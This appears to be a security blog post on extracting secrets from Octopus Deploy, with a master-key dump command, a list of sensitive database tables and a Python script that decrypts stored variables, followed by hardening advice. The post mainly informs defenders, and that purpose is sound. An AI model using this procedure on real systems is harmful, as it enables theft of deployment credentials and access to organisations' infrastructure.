Extracting secrets from Octopus Deploy

Octopus Deploy is one of the popular tools for automating application deployment and managing CI/CD processes. Octopus can orchestrate pipelines, track releases, deploy applications, and store configurations and secrets for deployment.

Attackers can extract this valuable data from Octopus even if they don’t have access to the web version of the tool. All configuration secrets of Octopus are stored in a separate database, encrypted using AES. If attackers gain access to the system where Octopus is deployed (using default credentials or any server-side vulnerability) - they can get the master key that encrypts the database:

C:\Program Files\Octopus Deploy\Octopus\Octopus.Server show-master-key

Next, the attackers need to gain access to the database where Octopus data is stored - and decrypt it using the master key. The most interesting data is located in the following tables:

dbo.Project - list of projects,

dbo.Machine - list of machines within a k8s cluster or other system,

dbo.VariableSet - list of variables,

dbo.Proxy - proxy settings,

dbo.Account - list of users for CI/CD management,

dbo.User - list of internal Octopus users.

Decoding keys from Octopus can be done this way:

import sys
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
 
# Check for input argument
if len(sys.argv) < 3:
    print("Usage: python decrypt.py <master_key> <encoded_variable>")
    sys.exit(1)
 
# Get master key from first CLI argument
base64_key = sys.argv[1]
 
# Get encoded_variable from second CLI argument
encoded_variable = sys.argv[2]
 
# Split encoded_variable into parts
cipher_data_b64, cipher_salt_b64 = encoded_variable.split('|')
 
# Decode from Base64
cipher_data = base64.b64decode(cipher_data_b64)
cipher_salt = base64.b64decode(cipher_salt_b64)
cipher_key = base64.b64decode(base64_key)
 
# AES decryption setup
cipher = AES.new(cipher_key, AES.MODE_CBC, iv=cipher_salt)
decrypted = cipher.decrypt(cipher_data)
 
# Unpad decrypted data
decrypted_value = unpad(decrypted, AES.block_size).decode('utf-8')

How to protect yourself?

On the Octopus.Server side:

— allow access to control ports of the server with Octopus only from dedicated IP addresses,

— monitor the launch of the Octopus.Server utility,

— use gMSA-authorized accounts only to run the service.

On the database side:

— allow connections to the database only from the Octopus server,

— log any SELECT/UPDATE in critical tables,

— set up alerts for data changes or new user creation within the database.